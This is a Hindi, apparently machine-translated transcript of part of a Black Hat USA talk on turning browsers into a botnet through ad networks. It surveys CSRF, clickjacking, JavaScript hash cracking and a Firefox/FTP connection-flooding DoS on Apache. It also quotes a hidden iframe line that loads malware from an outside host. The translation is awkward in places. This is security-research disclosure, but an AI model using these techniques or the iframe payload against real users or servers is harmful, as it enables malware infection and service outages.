ब्लैक हट यूएसए सम्मेलन। एक लाख ब्राउज़रों से बोटनेट। भाग 1

जेरेमी ग्रॉसमैन: मुझे आप सभी का स्वागत करते हुए खुशी हो रही है और मैं कहना चाहता हूं कि हम इस प्रस्तुति को पूरे 6 महीने से तैयार कर रहे हैं, इसलिए हम जल्द से जल्द अपनी उपलब्धियों को साझा करने का प्रयास करते हैं। मैं निमंत्रण के लिए पूरे ब्लैक हेट कर्मचारियों को धन्यवाद देना चाहता हूं, हम हर साल यहां वापस आते हैं, हम इस घटना से प्यार करते हैं। ब्लैक हैट के लिए धन्यवाद! हम आज की प्रस्तुति को मजेदार बनाने की कोशिश करेंगे, लेकिन पहले हम अपना परिचय देना चाहते हैं।



मैं कैलिफोर्निया के सांता क्लारा में स्थित व्हाइटहैट सिक्योरिटी के लिए संस्थापक और नए उत्पाद विकास प्रबंधक हूं। हमारी कंपनी में लगभग 300 कर्मचारी हैं।

मैट सुरक्षा जोखिम अनुसंधान केंद्र के प्रबंध निदेशक हैं। "व्हाइट-हेड" में हम मुख्य रूप से वेबसाइटों को तोड़ने, उनमें कमजोरियों को खोजने और बड़े पैमाने पर ऐसा करने में लगे हुए हैं। लेकिन हमारे पास अभी भी अनुसंधान के लिए कुछ समय बचा है, इसलिए आज हम ब्राउज़रों को हैक करना शुरू कर रहे हैं और उन्हें हैक करने वाली साइटों के लिए उपयोग करते हैं और आपको वेब सुरक्षा का पूरा चक्र दिखाते हैं। मैंने पहली बार 2002 में यहां बात की थी। ज्यादातर समय मैं अपने उत्पादों के विकास और प्रस्तुति में शोध करता हूं।

मैट जोहानसन: मुझे पैठ परीक्षक (पेंटर) के रूप में काम करने का अनुभव है, और मैंने कंपनी में हैकिंग साइटों द्वारा अपना काम शुरू कर दिया है, क्योंकि इससे पहले मैं खुद हैकर्स की सेना का नेतृत्व करता था। मैं कुछ शांत शोध करता हूं और इसके लिए बहुत कुछ करता हूं, इसलिए आप मुझसे संपर्क कर सकते हैं।



जेरेमी ग्रॉसमैन: तो, चलो हमारी पार्टी शुरू करते हैं। मुझे नहीं लगता कि कम से कम एक व्यक्ति है जो आज इंटरनेट का उपयोग नहीं करता है। हो सकता है कि अब आप इंटरनेट से नहीं जुड़े हों, लेकिन जब आप घर आते हैं, तो यहां हर कोई और जो आप जानते हैं, सभी एक ब्राउज़र का उपयोग करके इसके साथ बातचीत करेंगे। यह हमारे दैनिक जीवन का एक हिस्सा है, और मैं आपको इसका मतलब बताऊंगा, लेकिन इंटरनेट मुख्य रूप से काम करने के लिए डिज़ाइन किया गया है। हम इंटरनेट को हैक नहीं करते हैं, हम इसे अपने उद्देश्यों के लिए उपयोग करने का प्रयास करते हैं।

जब आप किसी वेब पेज पर जाते हैं, तो इससे कोई फर्क नहीं पड़ता कि आप किस ब्राउज़र का उपयोग करते हैं - क्रोम, फ़ायरफ़ॉक्स, सफारी, IE या ओपेरा, किसी भी मामले में, इंटरनेट इस तरह से काम करता है कि यह आपके ब्राउज़र को पूरी तरह से नियंत्रित करता है जब आप इस पृष्ठ पर होते हैं या जब आप अगले एक की तलाश में होते हैं पेज।

इस पृष्ठ पर जावास्क्रिप्ट या फ्लैश ब्राउज़र को कुछ भी करने का कारण बन सकता है - इंटरनेट या इंट्रानेट पर कहीं भी किसी भी प्रकार की प्रतिक्रिया के लिए अनुरोध। इसमें CSRF - नकली क्रॉस-साइट अनुरोध, XSS - क्रॉस-साइट स्क्रिप्टिंग, क्लिकजैकिंग और कई अन्य चालें शामिल हैं जो आपको ब्राउज़र पर नियंत्रण हासिल करने की अनुमति देती हैं।

अब हम ब्राउज़र सुरक्षा क्या है, इसकी कुछ समझ हासिल करने की कोशिश करेंगे, लेकिन मुख्य विचार शून्य-दिन के कारनामों का उपयोग किए बिना ब्राउज़र नियंत्रण का एक सामान्य विचार प्राप्त करना है, जिसके खिलाफ कोई पैच नहीं हैं।

मैट जोहानसन: यदि आपको XSS के बारे में कुछ नहीं पता है, तो आप हमसे इसके बारे में पूछ सकते हैं।

जेरेमी ग्रॉसमैन: अब मैं संक्षेप में ब्राउज़र हमलों के बारे में बात करना चाहता हूं जो HTML या दुर्भावनापूर्ण जावास्क्रिप्ट का उपयोग करते हैं:

• ब्राउज़र पूछताछ ब्राउज़र मतदान
• नकली क्रॉस-साइट अनुरोध; लॉग इन डिटेक्शन लॉगिन पहचान;
  हैकिंग इंट्रानेट
  स्वचालित क्रॉसिंग स्क्रिप्टिंग
  ड्राइव-बाय-डाउनलोड विधि का उपयोग करते समय उपयोगकर्ता के कंप्यूटर में प्रवेश करने वाले पारंपरिक मैलवेयर;
  हैश ब्रूट फोर्स क्रैकिंग;
  DDoS आवेदन स्तर पर हमला करता है।
  
  
  
  
  इस स्लाइड पर, आपको एक नमूना ब्राउजर इंटरोगेशन दिखाई देता है - यह केवल जावास्क्रिप्ट है जो किसी अन्य साइट पर जाने पर ब्राउज़र में रहता है। यह CNN का स्क्रीनशॉट है। जब आप उनकी साइट पर जाते हैं, तो वहां का मीट्रिक आपके ब्राउज़र से जुड़ा होता है, जो एक पूर्ण सर्वेक्षण करता है और आपके देखने के बारे में पूरी जानकारी प्राप्त करता है: आपके पास कौन सा ब्राउज़र है, क्या संस्करण है, कौन से प्लग इन से जुड़े हैं, आपके पास क्या ओएस है। वे ऐसा इसलिए करते हैं क्योंकि वे जानना चाहते हैं कि उनकी साइट पर कौन गया। आजकल, यह एक बहुत ही आम तकनीक है।
  
  अगला, एक अधिक उन्नत तकनीक पर विचार करें - क्रॉस-साइट जावास्क्रिप्ट जालसाजी। इसके लिए बहुत प्रयास की आवश्यकता नहीं है, आपको एक दुर्भावनापूर्ण स्क्रिप्ट चलाने की आवश्यकता नहीं है, बस आपके ब्राउज़र को जावास्क्रिप्ट या HTML के साथ किसी अन्य साइट में हैक करने के लिए उपयोग किया जाता है। CSRF आपके Google खोज इतिहास का उपयोग करता है और आपके ब्राउज़र को अवैध सामग्री अपलोड या डाउनलोड करने के लिए मजबूर करता है, बैंक हस्तांतरण आरंभ करता है, यदि आप बैंक की वेबसाइट पर अपने व्यक्तिगत खाते में लॉग इन करते हैं, तो यह आपको अपमानजनक संदेश भेजने या एड स्नोडेन को पर्सन ऑफ द ईयर के रूप में वोट करने के लिए मजबूर करेगा।
  
  मैट जोहानसन: CSRF आपको जस्टिन बीबर के हिट्स को न केवल डाउनलोड करने के लिए बाध्य कर सकता है, बल्कि चाइल्ड पोर्न भी डाउनलोड कर सकता है।
  
  जेरेमी ग्रॉसमैन: इसलिए, स्लाइड पर पहली पंक्ति आपके ब्राउज़र को किसी अन्य साइट में दुर्भावनापूर्ण सामग्री को इंजेक्ट करने के लिए मजबूर करती है, अर्थात यह आपको एक हैकर बना सकती है, दूसरी शक्ति आपको टॉरेंट डाउनलोड करने के लिए बनाती है और आपको एक समुद्री डाकू बनाती है जो सभी प्रकार के डीएमसीए लाइसेंसों का उल्लंघन करता है, तीसरा इसे फैन क्लब को भेजता है जस्टिन बीबर, चौथे - कुछ साइट पर वोट करें।
  
  
  
  निम्नलिखित लॉगिन पहचान लॉगिन की मान्यता है - यह तब है जब आप उस साइट पर जाते हैं जिसे हम नियंत्रित करते हैं। हम यह पता लगा सकते हैं कि आप Google, Facebook, Twitter, Linkedin पर अपने खाते में लॉग इन हैं। आपके ब्राउज़र से प्राधिकरण डेटा निकालने के लिए 6 विभिन्न प्रौद्योगिकियाँ हैं। हम आपकी प्राथमिकताओं का अध्ययन करते हैं और एक विशिष्ट उपयोगकर्ता पर लक्षित हमला करते हैं।
  
  
  
  एक और हमला क्लिकजैकिंग है, यह आपको किसी भी तस्वीर या बटन पर क्लिक करते ही अपने डेटा को प्रकट करने की अनुमति देता है। मान लीजिए कि आपने ट्विटर या फेसबुक पर लॉग इन किया और डांसिंग कैट की छवि को पसंद किया। आप कुछ हानिरहित पर क्लिक करते हैं, लेकिन वास्तव में आप इनमें से किसी एक बटन पर क्लिक करते हैं और अपना डेटा प्रकट करते हैं। बस एक क्लिक - और हम आपका नाम, स्थान जानते हैं, हम उस डेटा को जानते हैं जो आपने ट्विटर या लिंक्डइन पर अपनी प्रोफाइल पर पोस्ट किया है।
  
  
  
  मैट जोहानसन: कुछ कंपनियां इस तरह की ट्रैकिंग में लगी हुई हैं, क्योंकि आपके सामान या सेवाओं के लक्षित विज्ञापन के लिए आपका पूरा नाम उनके लिए बहुत महत्वपूर्ण हो सकता है।
  
  जेरेमी ग्रॉसमैन: अब तक हम जाने-माने चीजों पर चले गए हैं, कम से कम ब्लैक हैट दर्शकों के लिए प्रसिद्ध हैं। आप नेटवर्क कनेक्टिविटी प्रदान करने वाले अपने DSL राउटर में HTTP के माध्यम से दुर्भावनापूर्ण जावास्क्रिप्ट को इंजेक्ट करके इंट्रानेट इंट्रानेट को तोड़ने के बारे में भी जानते हैं।
  
  
  
  यह पहली बार 2006 में खोजा गया था और अब तक यह भेद्यता तय नहीं की गई है। इसके अलावा, हमारे पास हमले का प्रकार "स्वचालित क्रॉस-साइट स्क्रिप्टिंग" है, जब iframe का उपयोग करते हुए, दुर्भावनापूर्ण XSS कोड का एक इंजेक्शन किया जाता है, जो आपको अपने कुकीज़, सहेजे गए पासवर्ड और इतने पर चोरी करने की अनुमति देता है। यह मुख्य रूप से ईमेल प्रदाता के पोर्टल के माध्यम से किया जाता है।
  
  
  
  अंत में, आप निम्न लाइन को इंजेक्ट करके ड्राइव-बाय-डाउनलोड विधि का उपयोग करके पारंपरिक मैलवेयर डाउनलोड कर सकते हैं:
  
  

  <iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe> 

  
  परिणामस्वरूप, आपके ब्राउज़र को दुर्भावनापूर्ण सामग्री डाउनलोड करने के लिए संक्रमित साइटों पर भेजा जाता है, जो तब आपके कंप्यूटर को नियंत्रित करता है। यहां, हमले का उद्देश्य स्वयं ब्राउज़र या इसके एक्सटेंशन हो सकते हैं, मुख्य रूप से इन हमलों का उपयोग बॉटनेट नेटवर्क बनाने के लिए किया जाता है, और इस खतरे से बचने के लिए, आपको समय पर पैच स्थापित करने की आवश्यकता है, और जावा को पूरी तरह से हटाने के लिए बेहतर है। संक्षेप में, ये हमले के तरीके हैं जिन पर हम इस चर्चा में ध्यान केंद्रित करने जा रहे हैं।
  
  मैट जोहानसन: जेरेमी ने पिछले ब्लैकहैट सम्मेलनों में पहले ही बताई गई चीजों के बारे में बात की। मैं एक अन्य अध्ययन के बारे में बात करना चाहूंगा जो पासवर्ड को क्रैक करने के लिए जावास्क्रिप्ट का उपयोग करके वितरित कंप्यूटिंग पर केंद्रित है। यह एक अच्छी बात है, क्योंकि आप इसे केवल लिख सकते हैं और यह बहुत, बहुत तेजी से काम करता है। लवकुमार कुप्पन के शोध से पता चलता है कि उन्होंने जिस मीट्रिक का आविष्कार किया था, आप वास्तव में जावास्क्रिप्ट का उपयोग करके प्रति सेकंड एक लाख एमडी 5 हैश को क्रैक करने का प्रयास कर सकते हैं यदि आप इस जावास्क्रिप्ट को वितरित कर सकते हैं।
  
  निम्नलिखित स्लाइड से पता चलता है कि जावास्क्रिप्ट-आधारित रावण ने कंप्यूटिंग सिस्टम को कैसे वितरित किया, जो एक क्रूर बल के हमले का उपयोग करके कई ब्राउज़रों में हैश पर हमला कर सकता है।
  
  यह WebWorkers की पृष्ठभूमि में जावास्क्रिप्ट को चलाने के लिए HTML5 का उपयोग करता है, जिसमें कई कंप्यूटर शामिल हैं, जिस पर एक एकल पासवर्ड-अनुमान नेटवर्क में एक ब्राउज़र खुला है। वह उपयोगकर्ता के पासवर्ड का पता लगाता है जो एक विशिष्ट हैश से मेल खाता है, प्रति सेकंड 60 से 70 हजार पासवर्ड को छांटता है, इसके लिए 12 वेबवर्क का उपयोग किया जाता है।
  
  
  
  यह बहुत तेज चीज है, बाद में हम इस बात पर ध्यान देंगे कि इसे कैसे वितरित किया जाता है। इस समस्या के अलावा, हम कई महीनों से सेवा विफलता (DoS) का कारण बनने वाले अनुप्रयोगों पर गंभीरता से शोध कर रहे हैं। ब्राउज़र वेबवर्क से कोर का उपयोग करके दूरस्थ रूप से आश्चर्यजनक रूप से बड़ी संख्या में GET अनुरोध भेज सकता है। शोध के दौरान, यह पता चला कि एक ब्राउज़र से प्रति मिनट लगभग 10,000 अनुरोध भेजे जा सकते हैं। उसी समय, ब्राउज़र कई टीसीपी कनेक्शन को खुला नहीं रखता है, यह सिर्फ एक साथ कई HTTP अनुरोधों को लॉन्च करता है। आप एक ही साइट पर एक ही ब्राउज़र और कई ब्राउज़रों का उपयोग कर सकते हैं। लेकिन किसी भी समय आप कनेक्शन की संख्या बढ़ाकर हमले की तीव्रता बढ़ा सकते हैं।
  
  जेरेमी ग्रॉसमैन: मैं कनेक्शन पर ब्राउज़र सीमाओं के बारे में बात करूँगा।
  
  
  
  ब्राउजरस्कोप नामक एक उपकरण दिखाता है कि एक समय में एक विशेष ब्राउज़र या एक विशिष्ट ब्राउज़र संस्करण कितने कनेक्शन का समर्थन कर सकता है। सभी ब्राउज़र एक होस्ट नाम के साथ 6 से अधिक कनेक्शन का समर्थन नहीं करते हैं, और उदाहरण के लिए, IE संस्करण 8 और 9 में कनेक्शन की अधिकतम संख्या 35 तक पहुंच जाती है। प्रत्येक ब्राउज़र में कनेक्शन की संख्या की सीमा होती है, सुरक्षा के लिए नहीं, बल्कि स्थिरता और प्रदर्शन के लिए, क्योंकि आप साइट पर जाते हैं। , एक अनुरोध भेजें, और आपका ब्राउज़र सामग्री डाउनलोड करना शुरू कर देता है।
  
  हमने इन संकेतकों की जांच की और हम कह सकते हैं कि अधिकांश ब्राउज़र वास्तव में 6 के साथ काम करते हैं, जिसमें अधिकतम 7 कनेक्शन हैं। निम्नलिखित स्लाइड ब्राउजरस्कोप के संचालन को दर्शाती है, जो विभिन्न ब्राउज़रों के प्रदर्शन का परीक्षण करती है, जिससे सर्वर में कई समकालिक संबंध बनते हैं। इस मामले में, फ़ायरफ़ॉक्स के लिए छह स्थिर कनेक्शन थे।
  
  हालाँकि, कुछ ब्राउज़र आपको इस सीमा को दरकिनार करने की अनुमति देते हैं, और हमारे परीक्षणों में हमने फ़ायरफ़ॉक्स का उपयोग सेवा विफलता का कारण बना। अगली स्लाइड में अपाचे किलर स्क्रिप्ट को दिखाया गया है, जो ब्राउज़र प्रतिबंध को बायपास करने में मदद करता है, सर्वर के साथ-साथ अनुरोधों की एक पूरी स्ट्रीम बनाता है और 6 से 300 तक एक साथ खुले कनेक्शन की संख्या बढ़ाता है।
  
  
  
  HTTP प्रोटोकॉल का उपयोग यहां किया गया था, लेकिन यदि आप 80 से अधिक पोर्ट पर FTP का उपयोग करते हैं, तो कनेक्शन की संख्या बढ़कर 400 हो जाती है, और यह वास्तव में Apache सर्वर को "मार" सकता है।
  
  मैट जोहानसन: यहां महत्वपूर्ण अंतर यह है कि हमने एफ़टीपी का उपयोग करके ऐसा किया, जो HTTP प्रोटोकॉल का उपयोग नहीं कर सकता है। इसलिए, हम सूची के शीर्ष से कई पदों की जांच करने में सक्षम नहीं थे और कई सीएसआर अनुप्रयोगों को निष्पादित नहीं कर सके। ये केवल ऐसे कनेक्शन हैं जिन्हें हमने एक ही समय में खोलने की कोशिश की थी, इसलिए यह बहुत पारंपरिक DoS हमला नहीं है, जब कोई हमलावर संभवत: प्रति सेकंड या प्रति घंटे कई मेगाबिट्स या गीगाबिट्स लॉन्च करने की कोशिश करता है, यह केवल एक साथ खोले गए कनेक्शनों की अनुमत संख्या है।
  
  जेरेमी ग्रॉसमैन: अब मैं अपाचे सर्वर को अपने लैपटॉप पर चलाऊंगा, यह अपाचे 2.4.4 का एक सरल "वेनिला" संस्करण है, जहां सभी मूलभूत सेटिंग्स डिफ़ॉल्ट रूप से सेट की जाती हैं और इसका कोई महत्वपूर्ण प्रभाव नहीं हो सकता है।
  
  
  
  हम पहले चक्र पर ध्यान केंद्रित करने जा रहे हैं, मैं यहां सर्वर के लिए चित्र अनुरोधों का एक पूरा गुच्छा स्थापित करने जा रहा हूं, आप देखते हैं कि अनुरोध कैसे भेजे जाते हैं, और सर्वर 3 सेकंड के लिए प्रतिक्रिया नहीं देता है, और फिर चित्र श्रृंखला में लोड करना शुरू करते हैं।
  
  मैट जोहानसन: यह ब्राउज़र प्रदर्शन का एक पहलू है, सुरक्षा का एक पहलू नहीं है। हम सुरक्षा के उल्लंघन के लिए इसका दुरुपयोग करने में सक्षम हो सकते हैं, आप इसे कुछ ही मिनटों में देखेंगे। लेकिन इस क्रिया का उद्देश्य इन सभी छवियों को एक बार में डाउनलोड करना है।
  
  जेरेमी ग्रॉसमैन: मैं सर्वर स्थिति का उल्लेख करना भूल गया, नीचे बाईं स्क्रीन पर आप देखते हैं कि स्थिति 7 एक साथ खुले कनेक्शन दिखाती है, एक ब्राउज़र विंडो के लिए और 6 6 अपलोड की गई छवियों के लिए। यह बहुत महत्वपूर्ण है, क्योंकि अब हम इस विशेष ब्राउज़र में कनेक्शन की ऊपरी सीमा को तोड़ने की कोशिश कर रहे हैं। अब मैं इन कनेक्शनों को मारने के लिए कनेक्शन मान को 0 पर सेट करूंगा, और फ़ायरफ़ॉक्स में प्रतिबंधों को बायपास करने का एक तरीका दिखाऊंगा।
  
  हम केवल एक ही होस्ट नाम के लिए FTP का उपयोग करके इसे 100 कनेक्शन तक लूप करते हैं। उन सभी को URL की आवश्यकता नहीं है, क्योंकि यह FTP है, यह HTTP नहीं भेजता है। निचले बाएं कोने में देखें - सर्वर की स्थिति बदल गई है, यह 100 कनेक्शन, 100 पेज देखने के लिए दिखाता है। अब 400 कनेक्शन पर चलते हैं।
  
  पृष्ठ को हर सेकंड अपडेट किया जाता है, और जब कनेक्शन की संख्या 270 तक पहुंचती है, तो सर्वर "घबराहट" से ग्रस्त होता है कि उसके पास अधिक अनुरोधों को पूरा करने का समय नहीं होता है। हम सभी इस कोड को एक वेब पेज पर अपलोड करते हैं, और अपाचे एक साथ खुले कनेक्शन की संख्या को 300 तक लाने की कोशिश कर रहा है। और हम यह सब एक ही ब्राउजर के साथ करते हैं।
  
  पृष्ठभूमि के पीछे आपको एक और स्क्रॉलिंग दिखाई देती है, हमारे पास अमेज़न पर एक और सिस्टम है, यह AWS सिस्टम है। मैं अभी उसे एक DoS हमले के साथ नहीं मारना चाहता, इसलिए मैंने आपको एक और प्रदर्शन विकल्प की पेशकश की।
  मैट जोहानसन: अब हम जानते हैं कि हम क्या कर सकते हैं, कम से कम फ़ायरफ़ॉक्स के साथ। यह सेवा हमले का एक पारंपरिक खंडन नहीं है और यहां बॉटनेट का उपयोग नहीं किया गया है। हमारे पास अभी भी कुछ और संभावनाएं हैं, लेकिन सामान्य तौर पर, हमले की इस पद्धति के साथ हैकिंग के फायदे निम्नानुसार हैं:
  
  
  • कोई मैलवेयर नहीं, कोई कारनामे या शून्य-दिन के हमलों की आवश्यकता नहीं है;
  • कोई निशान नहीं, कोई चिंता नहीं; ब्राउज़र कैशिंग का निषेध;
  • डिफ़ॉल्ट रूप से, कोई भी ब्राउज़र इस हमले के लिए असुरक्षित है;
  • लागू करने के लिए बहुत आसान है, आपने खुद देखा कि कोड कितना सरल दिखता है;
  • जैसा कि हम कहते हैं - यह काम करता है जिस तरह से यह काम करना चाहिए। इंटरनेट को संभावित रूप से इस तरह से कार्य करने के लिए डिज़ाइन किया गया है, अर्थात, यह सुनिश्चित करना चाहिए कि एकाधिक छवियां जितनी जल्दी हो सके डाउनलोड हो जाएं।
  
  इसलिए, मुझे नहीं पता कि इस समस्या को कौन ठीक कर सकता है। आइए दुर्भावनापूर्ण जावास्क्रिप्ट कोड का उपयोग करके इस हमले के तरीके को फैलाने के मुद्दे पर ध्यान दें। हम उन क्लासिक तरीकों पर विचार नहीं करेंगे, जो स्पैमर्स इसका उपयोग करते हैं, जैसे ईमेल भेजना। एक नियमित उपयोगकर्ता द्वारा वितरण पर विचार करें, अर्थात् एक नियमित उपयोगकर्ता के दृष्टिकोण से स्केलिंग:
  
  
  • महत्वपूर्ण ट्रैफ़िक वाली साइटों का उपयोग जो आपके पास है (ब्लॉग, सॉफ़्टवेयर, आदि);
  • लोकप्रिय साइटों, मंचों आदि में HTML इंजेक्शन।
  • वाई-फाई राउटर के माध्यम से "बीच में आदमी" विधि;
  • खोज इंजनों का "ज़हर";
  • एसक्यूएल कीड़े के बड़े पैमाने पर इंजेक्शन द्वारा हैकिंग साइटें;
  • तृतीय-पक्ष विजेट (मौसम, काउंटर, ट्रैकर्स, आदि)।
  
  डगलस क्रॉफोर्ड ने कहा: "दुर्भावनापूर्ण कोड को इंजेक्ट करने का सबसे विश्वसनीय और सबसे प्रभावी तरीका विज्ञापन खरीदना है।" इसलिए, हम विचार करेंगे कि विज्ञापन नेटवर्क कैसे काम करते हैं, क्योंकि इंटरनेट पर उनमें से बहुत सारे हैं। अगली स्लाइड में एक अजीबोगरीब विज्ञापन पारिस्थितिकी तंत्र दिखाया गया है।
  
  
  
  तो, सबसे ऊपर आप देखते हैं कि विज्ञापनदाताओं को सबसे पहले आपको कुछ दिखाना चाहिए, उदाहरण के लिए, एक तिथि के लिए फूलों का गुलदस्ता। वे इस पर पैसा खर्च करते हैं, लेकिन अंतिम उपभोक्ता के लिए अपना माल लाने के लिए उन्हें साइटों की आवश्यकता होती है। वे अपने हाथों को बड़े पैमाने पर वितरकों में रखना चाहते हैं - ब्लॉग, समाचार, सामाजिक नेटवर्क, समीक्षा, लोकप्रिय साइटों जैसी सूचनाओं के प्रकाशक जो कई उपयोगकर्ताओं द्वारा देखे जाते हैं। विज्ञापनदाताओं और प्रकाशकों के बीच एक पुल है, जिसे विज्ञापन नेटवर्क कहा जाता है। वे इन नेटवर्क पर अपनी जानकारी पोस्ट करने पर पैसा खर्च करते हैं, यह चित्र, पॉप-अप बैनर, जावास्क्रिप्ट - कुछ भी हो सकता है जिसे आप इसे देखना चाहते हैं। आप स्लाइड के नीचे नीले रंग के छोटे आंकड़े हैं।
  
  मैट जोहानसन: आज सुबह हम टीएमजेड वेबसाइट पर गए और इस अद्भुत स्क्रीनशॉट को वहां ले गए।
  
  
  
  आप विज्ञापन इकाई को पृष्ठ के बहुत ऊपर और नीचे दाईं ओर देखते हैं।
  
  जेरेमी ग्रॉसमैन: आपके द्वारा देखी जाने वाली सभी विज्ञापन इकाइयां TMZ वेबसाइट उपयोगकर्ताओं के सामने सीधे स्थित जावास्क्रिप्ट कोड हैं और कुछ पैसे कमाने के लिए उनका ध्यान आकर्षित करने के लिए सेवा दे रही हैं। दसियों और सैकड़ों ऐसे विज्ञापन नेटवर्क हैं, लेकिन ध्यान रखें कि स्लाइड के ऊपरी दाएं कोने में हमारी कंपनी के लोगो की छवि एक विज्ञापन नेटवर्क नहीं है! इनमें से कुछ नेटवर्क जावास्क्रिप्ट का उपयोग करते हैं, कुछ नहीं करते हैं।
  
  इसलिए, मैंने एक विज्ञापन नेटवर्क के मालिकों को पत्र लिखा कि मैं उनके सिस्टम में तीसरे पक्ष के विज्ञापन जावास्क्रिप्ट को रखना चाहूंगा। लोगों में से एक ने मुझे बहुत जल्दी जवाब दिया, सचमुच एक दो मिनट में। उन्होंने लिखा कि वे केवल ऐसे कोड को डबलक्लिक जैसी बड़ी और नामी कंपनियों से पोस्ट करने की अनुमति देते हैं, जिन पर उन्हें भरोसा है और जो संभावित कमजोरियों के लिए सभी सामग्रियों को स्कैन करते हैं। और अगर मैं डीएफए और जैसे बड़े थर्ड-पार्टी विज्ञापन सर्वर के साथ काम करता हूं, तो उन्हें मेरे जावास्क्रिप्ट को होस्ट करने का अवसर मिलेगा।
  
  
  
  सभी पारंपरिक विज्ञापन नेटवर्क इस तरह से व्यवहार करते हैं - आप उन्हें पैसे देते हैं, कुछ मेट्रिक्स प्राप्त करते हैं और वे आपका विज्ञापन देते हैं। एक अन्य प्रकार का नेटवर्क है जिसका हमने सामना किया है। हम जानबूझकर आपको उनके नाम नहीं देते हैं, क्योंकि हम नहीं जानते हैं कि हम इस वजह से परेशानी में पड़ेंगे या नहीं।
  
  
  
  ये सिस्टम इस तरह से काम करते हैं - आप शाम को कंप्यूटर के सामने घर पर बैठे किसी व्यक्ति के लिए अपने ब्राउज़र के माध्यम से अपने पेज को देखने के लिए थोड़े पैसे का भुगतान करते हैं। यह पता चला है कि आप एक पैसा के लिए ब्राउज़र का समय खरीदते हैं - इस मामले में, 10 हजार मिनट देखने के लिए लगभग $ 10.5 खरीदा जा सकता है।
  
  मैट जोहानसन: एक महत्वपूर्ण परिस्थिति यह है कि किसी पासवर्ड को क्रैक करने के लिए भुगतान किए गए विचारों की इस पद्धति का व्यापक रूप से उपयोग किया जाता है। क्योंकि किसी हमलावर को ब्रूट फ़ोर्स मेथड का उपयोग करके पासवर्ड क्रैक करने या लॉगिन करने के लिए बहुत समय की आवश्यकता होती है, और ये विज्ञापन नेटवर्क यह गारंटी नहीं देते हैं कि आपका ब्राउज़र विज्ञापन देख रहा होगा, लेकिन पृष्ठ पर एक विज्ञापन लोड होते ही शुरू होने वाले दुर्भावनापूर्ण कोड को नहीं पकड़ेगा। आप इसके लिए भुगतान करते हैं, लेकिन यदि कोई व्यक्ति एक मिनट, 10 मिनट, 2 सेकंड के लिए वहां बैठता है, तो इस बात की कोई गारंटी नहीं है कि आप इस तथ्य के लिए भुगतान नहीं करेंगे कि आपको DoS हमले के लिए इस्तेमाल किया जा सकता है।
  
  जेरेमी ग्रॉसमैन: अंतिम पंक्ति पर ध्यान दें - आप एक लाख मिनट का दृश्य खरीद सकते हैं, यह लगभग 2 साल का ब्राउज़र समय है, लगभग $ 650 के लिए। तो यह एक अच्छा मीट्रिक है!
  
  अब इंटरनेट विज्ञापन पर काम करता है, और यह एक पैसे के लायक है। आइए एजेंडे पर वापस जाएं और अंतिम दो प्रकार के हमलों पर ध्यान केंद्रित करें - जानवर बल हैश क्रैकिंग और एप्लिकेशन-स्तर DDoS हमले। आप देखते हैं कि उन्हें ब्राउज़र द्वारा आसानी से एक मिलियन तक बढ़ाया जा सकता है, या बस $ 650 का भुगतान करना होगा और पासवर्ड को दो साल के बराबर समय के लिए हैक करना शुरू करना होगा। हम आपको कुछ प्रदर्शनों को दिखाने जा रहे हैं, लेकिन पहले, अर्थशास्त्र के बारे में बात करते हैं।
  
  मैट जोहानसन: आपने मिनटों की खरीद के इस स्क्रीनशॉट को देखा, लेकिन विज्ञापन नेटवर्क की अपनी भाषा है, जिसे सीखना मेरे लिए आसान नहीं था। विज्ञापनदाता इसे "इंप्रेशन" कहते हैं, लेकिन हम विशिष्ट पृष्ठों पर भुगतान की गई विज्ञापन सेवाओं के बारे में बात कर रहे हैं। पिछले कुछ महीनों में, मूल्य प्रति 1,000 "छापों," या प्रति हजार विज्ञापन छापों पर लगभग 50 सेंट रह गया है। सीपीसी और कॉस्ट ऑफ़ थाउज़ेंड सीपीएम मूल्य टैग हैं।
  
  
  
  इसलिए, जब मैं "इंप्रेशन" कहता हूं, तो आपको ब्राउज़र को बॉट के रूप में कल्पना करना चाहिए, जैसे कि आपने अपने विज्ञापनों को ब्राउज़र में अपलोड करने और इस ब्राउज़र पर नियंत्रण प्राप्त करने के लिए एक व्यक्ति को काम पर रखा है। तो, वे इसे "छाप" कहते हैं, और हम इसे "बॉट" कहते हैं।
  
  जेरेमी ग्रॉसमैन: बुरे लोगों को रोकने के लिए कोई बाधाएं नहीं हैं, असली बुरे लोग क्रेडिट कार्ड चोरी करते हैं, इन चुराए गए कार्डों का उपयोग विज्ञापन मिनट या "इंप्रेशन" खरीदने में सक्षम होने से करते हैं।
  
  मैट जोहानसन: निम्नलिखित स्क्रीनशॉट में, आप उस विज्ञापन नेटवर्क के आँकड़े देखते हैं जिसका उपयोग हमने अपने शोध में किया था।
  
  
  
  हमें लगा कि हम डैशबोर्ड के सामने थे, बटन क्लिक कर रहे थे और इस नेटवर्क पर हमारे विज्ञापन प्रदर्शित करने की कोशिश कर रहे थे। हमने कोई विज्ञापन नहीं दिखाया, बस डमी की, और अपना जावास्क्रिप्ट कोड नहीं चलाया। हमने अभी-अभी विज्ञापनदाताओं के रूप में खुद को आज़माया है और उपयोगकर्ता और विज्ञापन नेटवर्क के मालिकों के लिए यथासंभव असंगत बने रहने की कोशिश की है, ताकि वे हमें अपने शांतिपूर्ण हैकिंग विधियों का उपयोग करने दें, अपने स्वयं के वेब सर्वरों को कमांड करें। हमारे शोध के कुछ महीनों के लिए, हमने 10 रुपये भी खर्च नहीं किए।
  
  आप सभी प्रकार के विज्ञापन आइटमों के लिए दैनिक सीमाएँ निर्धारित कर सकते हैं, आप विशिष्ट कीवर्ड चुन सकते हैं, जिन पर उपयोगकर्ताओं को ध्यान केंद्रित करना चाहिए, दर्शकों, ऑपरेटिंग सिस्टम या ब्राउज़र का जियोलोकेशन चुनें, जो आपका विज्ञापन प्रदर्शित करेगा, आप उपयोगकर्ताओं के मोबाइल या स्थिर उपकरणों पर विज्ञापन केंद्रित कर सकते हैं।
  
  मैंने केवल व्यापक संभावित दर्शकों की पहुंच को चुना, और मैंने "कंप्यूटर" शब्द को एक कीवर्ड के रूप में चुना। पहले दिन, हमने केवल 15 क्लिक खरीदे, इसकी कीमत हमें $ 4 थी, जिसके परिणामस्वरूप हमें 8326 "इंप्रेशन" मिले। कल्पना करें कि इतने लाभदायक निवेश के साथ, आपका कोड 24 घंटे की अवधि में 8326 ब्राउज़रों में डाउनलोड किया जा सकता है!
  
  ब्लैक हट यूएसए सम्मेलन। एक लाख ब्राउज़रों से बोटनेट। भाग २
  
  
